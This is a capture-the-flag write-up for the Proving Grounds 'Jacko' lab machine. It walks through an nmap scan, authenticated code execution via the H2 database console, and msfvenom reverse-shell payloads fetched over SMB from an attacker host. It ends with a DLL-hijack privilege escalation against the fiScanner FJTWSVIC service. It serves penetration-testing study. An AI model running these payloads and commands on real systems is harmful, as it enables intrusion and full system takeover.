Proving Grounds | Jacko

Proving Grounds | Jacko
In: Proving Grounds, TJ Null OSCP Practice, OSCP Prep, Attack, CTF

Nmap Results

# Nmap 7.92 scan initiated Mon Aug 29 00:22:13 2022 as: nmap -T5 -p80,135,139,445,5040,8082,9092,49664,49665,49666,49667,49668,49669 -A -oA scan-all -Pn
Nmap scan report for
Host is up (0.080s latency).

80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: H2 Database Engine (redirect)
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5040/tcp  open  unknown
8082/tcp  open  http          H2 database http console
|_http-title: H2 Console
9092/tcp  open  XmlIpcRegSvc?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows 7 (91%), Microsoft Windows Server 2008 SP1 or Windows Server 2008 R2 (90%), Microsoft Windows XP SP3 (88%), Microsoft Windows Server 2008 SP1 (88%), Microsoft Windows 10 (87%), Microsoft Windows 7 or Windows Server 2008 R2 (87%), Microsoft Windows Server 2008 R2 (87%), Microsoft Windows Server 2008 R2 or Windows 8.1 (87%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (87%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -8s
| smb2-time: 
|   date: 2022-08-29T04:24:54
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

TRACEROUTE (using port 135/tcp)
1   79.24 ms
2   79.38 ms

OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Mon Aug 29 00:25:13 2022 -- 1 IP address (1 host up) scanned in 180.90 seconds

Service Enumeration


Check for anonymous SMB share listing.


If we look at the Quickstart guide, we can see that this is a web manual for the H2 Databse service running on TCP/8082 .


Pressing the Connect button here, we are allowed to connect to the database.

We can see this is H2 1.4.199 . Searching in Exploit Database for this service, we can see there is a code execution vulnerability.

H2 Database 1.4.199 - JNI Code Execution | java/local/49384.txt

Let's take a look at the details of the vulnerability.

searchsploit -m 49384
less 49384.txt

We are using SQL statements to create a Java library and then executing the Java code via the database.


Weak Credentials

This would actually be a non-issue if the database had been protected by a strong password, as this attack requires authentication to be successful.

Authenticated RCE

You can read more about the exploit here: Effectively, we are using a CSV utility to write a series of comma-separated bytes to the disk. The comma-separated bytes are a Java class that will aid in command execution.

Once the exploit is written to the disk, we load the Java class and issue the commands.

Step 1: Create the Java Class

You have to copy and paste the giant set of comma-separated bytes into the SQL query box and execute it.

Click Run.

Step 2: Load the Java Library

Click Run.

Step 3: Create a Function and Execute System Commands

Click Run. This will execute the whoami command on the host. If you want to execute additional commands, just change whoami to another command (eg. systeminfo )

RCE to Reverse Shell

Create and Host a Msfvenom Payload

Create the payload .

msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=443 -f exe -a x64 --platform windows -b '\x00' -e x64/xor_dynamic -o 0xBEN_shell.exe

Host it with a SMB server. -smb2support evil $PWD

Load the Payload via SMB

Start a listener.

sudo rlwrap nc -lnvp 443

Execute. Change your payload in the database.

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("//kali-vpn-ip/evil/0xBEN_shell.exe").getInputStream()).useDelimiter("\\Z").next()');

Update the PATH Variable

When you first get your reverse shell, the system will throw Command not found errors for basic commands like whoami and cmd.exe . This because the %PATH% environment variable is not set with some good defaults.

set PATH=%PATH%C:\Windows\System32;C:\Windows\System32\WindowsPowerShell\v1.0;

Now, you should be able to run the most basic system commands.

Post-Exploit Enumeration

Operating Environment

OS & Kernel

Host Name:                 JACKO
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.18363 N/A Build 18363
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          tony
Registered Organization:   
Product ID:                00331-10000-00001-AA058
Original Install Date:     4/22/2020, 4:11:40 AM
System Boot Time:          5/10/2022, 8:08:01 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~3094 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.18227214.B64.2106252220, 6/25/2021
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume2
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     2,047 MB
Available Physical Memory: 1,012 MB
Virtual Memory: Max Size:  2,687 MB
Virtual Memory: Available: 1,713 MB
Virtual Memory: In Use:    974 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 9 Hotfix(s) Installed.
                           [01]: KB4552931
                           [02]: KB4497165
                           [03]: KB4513661
                           [04]: KB4516115
                           [05]: KB4517245
                           [06]: KB4521863
                           [07]: KB4537759
                           [08]: KB4552152
                           [09]: KB4556799
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0
                                 DHCP Enabled:    No
                                 IP address(es)
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

Current User


User Name  SID                                           
========== ==============================================
jacko\tony S-1-5-21-3761179474-3535027177-3462755717-1001


Group Name                           Type             SID          Attributes                                        
==================================== ================ ============ ==================================================
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label            S-1-16-12288                                                   


Privilege Name                Description                               State   
============================= ========================================= ========
SeShutdownPrivilege           Shut down the system                      Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

Users and Groups

Local Users


Local Groups

JACKO\Access Control Assistance Operators
JACKO\Backup Operators
JACKO\Cryptographic Operators
JACKO\Device Owners
JACKO\Distributed COM Users
JACKO\Event Log Readers
JACKO\Hyper-V Administrators
JACKO\Network Configuration Operators
JACKO\Performance Log Users
JACKO\Performance Monitor Users
JACKO\Power Users
JACKO\Remote Desktop Users
JACKO\Remote Management Users
JACKO\System Managed Accounts Group

Network Configurations


Windows IP Configuration

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . :
   Subnet Mask . . . . . . . . . . . :
   Default Gateway . . . . . . . . . :

Open Ports

  TCP                 LISTENING       4
  TCP                LISTENING       784
  TCP                LISTENING       4
  TCP               LISTENING       364
  TCP               LISTENING       2136
  TCP               LISTENING       2136
  TCP              LISTENING       568
  TCP              LISTENING       468
  TCP              LISTENING       952
  TCP              LISTENING       460
  TCP              LISTENING       1636
  TCP              LISTENING       560
  TCP              LISTENING       2036
  TCP              LISTENING       4
  TCP    [::]:80                [::]:0                 LISTENING       4
  TCP    [::]:135               [::]:0                 LISTENING       784
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:8082              [::]:0                 LISTENING       2136
  TCP    [::]:9092              [::]:0                 LISTENING       2136
  TCP    [::]:49664             [::]:0                 LISTENING       568
  TCP    [::]:49665             [::]:0                 LISTENING       468
  TCP    [::]:49666             [::]:0                 LISTENING       952
  TCP    [::]:49667             [::]:0                 LISTENING       460
  TCP    [::]:49668             [::]:0                 LISTENING       1636
  TCP    [::]:49669             [::]:0                 LISTENING       560

Processes and Services

Interesting Processes

Name        : java.exe
CommandLine : "C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe" -Djava.library.path="." -classpath 
              "wrapper.jar;../bin/h2.jar;%H2DRIVERS%;%CLASSPATH%" -Dwrapper.key="6wSHbMbw9X89QJFt" 
              -Dwrapper.port=32000 -Dwrapper.jvm.port.min=31000 -Dwrapper.jvm.port.max=31999 
              -Dwrapper.version="3.2.3" -Dwrapper.native_library="wrapper" -Dwrapper.service="TRUE" 
              -Dwrapper.cpu.timeout="10" -Dwrapper.jvmid=1 org.tanukisoftware.wrapper.WrapperSimpleApp 
     -tcp -web -webAllowOthers

Not entirely sure what this Java app is at the moment, but it's definitely related to the socket at .

Interesting Services

No interesting services, or any vulnerable to unquoted service paths.

Scheduled Tasks

Interesting Scheduled Tasks

No interesting scheduled tasks.

Interesting Files

C:\Program Files (x86)\H2\service\wrapper.conf


Privilege Escalation

Privileged Service

After a lengthy amount of enumeration and hunting for easy wins on the target, I begin to look at installed programs and services for escalation paths. First place I look is in C:\Program Files (x86) . One particular program is unfamiliar to me: C:\Program Files (x86)\fiScanner .

I turn to Google to research the program more.

This particular line from the exploit stands out to me:

# A DLL hijack vulnerability exists in the FJTWSVIC service running as part of

This is a PowerShell script that works in this order:

  1. Create a msfvenom payload as a .dll file
  2. Copy the PowerShell exploit and the .dll payload to the target
  3. The script tries to find a writable directory and places the .dll there
  4. The script sends a crafted message to the FJTWSVIC service to load the .dll

First thing we need to do is make sure the service is installed.


Get-CimInstance -ClassName Win32_Service -Filter "Name like 'FJTWSVIC'" | Select-Object Name, PathName, StartName, State

Legacy CMD


Looking good so far. The service is installed and running with SYSTEM privileges.

Execute the Exploit

Create the Msfvenom Payload

msfvenom -p windows/shell_reverse_tcp LHOST=kali-vpn-ip LPORT=kali-tcp-port -f dll -a x86 --platform windows -e x86/xor_dynamic -b '\x00' -o 0xBEN_privesc.dll

The fiScanner application is installed as a 32-bit application, so you must create a 32-bit payload.

Copy and Edit the Exploit

searchsploit -m 49382
nano 49382.ps1

$PayloadFile = "C:\Users\tony\0xBEN_privesc.dll"

Start a SMB server to host the files -smb2support evil $PWD

Transfer the Exploit and Payload

cd C:\Users\tony
copy \\kali-vpn-ip\evil\49382.ps1 .
copy \\kali-vpn-ip\evil\0xBEN_privesc.dll .

Start your listener.

sudo rlwrap nc -lnvp <kali-tcp-port>

Execute the script.

powershell -nop -ep bypass -f C:\Users\tony\49382.ps1



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